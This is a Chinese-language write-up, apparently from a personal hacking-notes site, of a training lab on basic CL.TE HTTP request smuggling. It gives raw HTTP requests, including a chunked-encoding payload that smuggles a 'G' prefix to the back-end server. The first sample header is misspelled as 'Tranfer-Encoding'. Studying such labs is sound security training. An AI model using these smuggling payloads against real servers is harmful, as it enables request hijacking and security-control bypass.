> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/basic-cl-te-request-smuggling.md).
# 基础 CL.TE 漏洞
### HTTP 请求走私，基础 CL.TE 漏洞
在此实验中，基础设施由前端服务器和后端服务器组成。前端服务器 **不支持分块编码** 和 **会拒绝任何不使用 GET 或 POST** 方法的请求。
目标是 **将一个请求走私到后端** 服务器，以便 **服务器解释的以下请求看起来使用了 `GPOST`** 方法。
> 注意：即使实验接受 HTTP/2，所需技术也完全基于 HTTP/1。必须在 Burp Repeater 中通过 Inspector 的 Request attributes 部分手动更改协议。
> 提示：在请求走私攻击中手动处理长度可能很复杂。BApp Store 中提供的 Burp 扩展 HTTP Request Smuggler 可以帮助完成这项任务。
#### \*\* 观察到的有效示例\*\*
以下请求被接受：
```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked
3
abc
0
```
#### **通过更改最终大小导致的错误**
如果 `0` 末尾字符被替换为无效字符（例如 `X`），服务器会报告错误：
```
3
abc
X
```
#### **添加要注入的最终字符 `G`**
通过放置一个 `G` 在最后一个块之后，你可以为后端准备走私请求：
```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
```
---
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